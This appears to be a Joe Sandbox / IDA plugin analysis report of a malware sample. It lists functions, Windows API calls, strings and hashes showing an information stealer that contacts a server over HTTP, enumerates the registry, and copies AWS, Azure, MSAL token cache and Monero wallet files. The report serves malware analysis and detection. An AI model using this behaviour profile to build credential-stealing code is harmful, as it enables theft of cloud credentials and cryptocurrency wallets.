Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 77392ffe3653c7ccdc321d5a4ec3e2794a9f87e63c1a30f3dac5056c67ab058f
Instruction ID: e253eeb43c6af64458e608289592d6a7013346475cac30e09b2df150200a7df9
Opcode Fuzzy Hash: 77392ffe3653c7ccdc321d5a4ec3e2794a9f87e63c1a30f3dac5056c67ab058f
Instruction Fuzzy Hash: D3E16175A51149EBDB14EBE0ED98EEE7378BF24200F504158F547B7098DF39AA0ACB60

Function 01004880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 01004915
StrCmpCA.SHLWAPI(?,0186E718), ref: 0100493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01004ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,01020DDB,00000000,?,?,00000000,?,",00000000,?,0186E748), ref: 01004DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 01004E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01004E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 01004E49
InternetCloseHandle.WININET(00000000), ref: 01004EAD
InternetCloseHandle.WININET(00000000), ref: 01004EC5
HttpOpenRequestA.WININET(00000000,0186E7A8,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 01004B15

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

InternetCloseHandle.WININET(00000000), ref: 01004ECF

Strings

", xrefs: 01004BF2
------, xrefs: 01004C69
", xrefs: 01004D33
------, xrefs: 01004B28
------, xrefs: 010049BD

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f2c987f2a1867c1dfbb5d88c72c02bba6b1fc24c6c1b43c09f466256d5ab3210
Instruction ID: c54f1d55e5ad2456f9cd0afdce0d402fbf447548a8d12aff90752b5ec69d3a56
Opcode Fuzzy Hash: f2c987f2a1867c1dfbb5d88c72c02bba6b1fc24c6c1b43c09f466256d5ab3210
Instruction Fuzzy Hash: 67123C72A12159EADB15EB90DD90FEEB339BF24210F504199E54663094EF342F8ACF60

Function 01018320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

RegOpenKeyExA.KERNEL32(00000000,0186B490,00000000,00020019,00000000,010205B6), ref: 010183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
wsprintfA.USER32 ref: 01018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
RegCloseKey.ADVAPI32(00000000), ref: 0101848C
RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Strings

?, xrefs: 0101837A
%s\%s, xrefs: 0101844D
- , xrefs: 010185A3

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 3622a5d18f894f103bbd4f80b0adaa1c74e8a3ba7a8b0172b2183ab24db0b130
Instruction ID: d121c90d6419e74338c123af60b3af8ca3e1092406dded52bbb6e49741aed540
Opcode Fuzzy Hash: 3622a5d18f894f103bbd4f80b0adaa1c74e8a3ba7a8b0172b2183ab24db0b130
Instruction Fuzzy Hash: 0C812A75911118EBEB28DB54DD84FEAB7B8FB18310F0086D9E14AA7144DF746B89CFA0

Function 01006280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
StrCmpCA.SHLWAPI(?,0186E718), ref: 01006303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
HttpOpenRequestA.WININET(00000000,GET,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 01006385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 010063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0100646D
InternetCloseHandle.WININET(00000000), ref: 010064EF
InternetCloseHandle.WININET(00000000), ref: 010064F9
InternetCloseHandle.WININET(00000000), ref: 01006503

Strings

ERROR, xrefs: 010064C9
ERROR, xrefs: 01006407
GET, xrefs: 0100637C

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: d99760d2535691fc910ee7bb34c5f341f2d185edace7e1003a0807c6ce6c65c7
Instruction ID: 0eda038fa3473e69295d09ec349d5511447c5845cb697d53667ed3a50aa5a6d4
Opcode Fuzzy Hash: d99760d2535691fc910ee7bb34c5f341f2d185edace7e1003a0807c6ce6c65c7
Instruction Fuzzy Hash: A1718E75A00218EBEB25DFA4DC48BEE77B9FB44700F108198F64A6B1C4DBB56A85CF50

Function 01015510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 010156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015857

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015228

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 010152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015318
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 0101532F
Part of subcall function 010152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 01015364
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 01015383
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 010153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0101578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015A0C
Sleep.KERNEL32(0000EA60), ref: 01015A1B

Strings

ERROR, xrefs: 01015693
ERROR, xrefs: 01015932
ERROR, xrefs: 010159FE
ERROR, xrefs: 01015849
ERROR, xrefs: 01015636
ERROR, xrefs: 0101577D

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 5bc990ccab0bcf98853f875e7e61f30f5731c27745c4a311ec4324339f4ae548
Instruction ID: a8d6476ececad99e161e8d416f048ad6ced8f1cd83d3414f34c98f3c5733831d
Opcode Fuzzy Hash: 5bc990ccab0bcf98853f875e7e61f30f5731c27745c4a311ec4324339f4ae548
Instruction Fuzzy Hash: 43E15372A11145DBDB15FBA0ED95EED7378BF64210F408129E98757088EF386B0ECB91

Function 01014D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014DB0
lstrcat.KERNEL32(?,\.azure\), ref: 01014DCD

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

lstrcat.KERNEL32(?,00000000), ref: 01014E3C
lstrcat.KERNEL32(?,\.aws\), ref: 01014E59

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

lstrcat.KERNEL32(?,00000000), ref: 01014EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 01014EE5

Part of subcall function 01014910: wsprintfA.USER32 ref: 010149B0
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,010208D2), ref: 010149C5
Part of subcall function 01014910: wsprintfA.USER32 ref: 010149E2
Part of subcall function 01014910: PathMatchSpecA.SHLWAPI(?,?), ref: 01014A1E
Part of subcall function 01014910: lstrcat.KERNEL32(?,0186E788), ref: 01014A4A
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FF8), ref: 01014A5C
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A70
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FFC), ref: 01014A82
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A96
Part of subcall function 01014910: CopyFileA.KERNEL32(?,?,00000001), ref: 01014AAC
Part of subcall function 01014910: DeleteFileA.KERNEL32(?), ref: 01014B31

Strings

Azure\.aws, xrefs: 01014E5F
msal.cache, xrefs: 01014EF0
*.*, xrefs: 01014DD8
\.azure\, xrefs: 01014DC1
\.IdentityService\, xrefs: 01014ED9
Azure\.azure, xrefs: 01014DD3
*.*, xrefs: 01014E64
\.aws\, xrefs: 01014E4D
Azure\.IdentityService, xrefs: 01014EEB

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 308ef0d8679ee269281cb4fa0ac09eca5757c0c7c5195c34fe96e46a87328456
Instruction ID: d944f6b41b19edc1b550cc91d4f24ec2ade840badca73e7fd04154ff942b2f9a
Opcode Fuzzy Hash: 308ef0d8679ee269281cb4fa0ac09eca5757c0c7c5195c34fe96e46a87328456
Instruction Fuzzy Hash: CF41797AA40219A7D750F770EC86FDD73389B34704F404558B5C55A084EEF997898B92

Function 01001310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 010012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 010012B4
Part of subcall function 010012A0: RtlAllocateHeap.NTDLL(00000000), ref: 010012BB
Part of subcall function 010012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 010012D7
Part of subcall function 010012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 010012F5
Part of subcall function 010012A0: RegCloseKey.ADVAPI32(?), ref: 010012FF

lstrcat.KERNEL32(?,00000000), ref: 0100134F
lstrlen.KERNEL32(?), ref: 0100135C
lstrcat.KERNEL32(?,.keys), ref: 01001377

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,0186A2E8,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,01869010,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 01001465

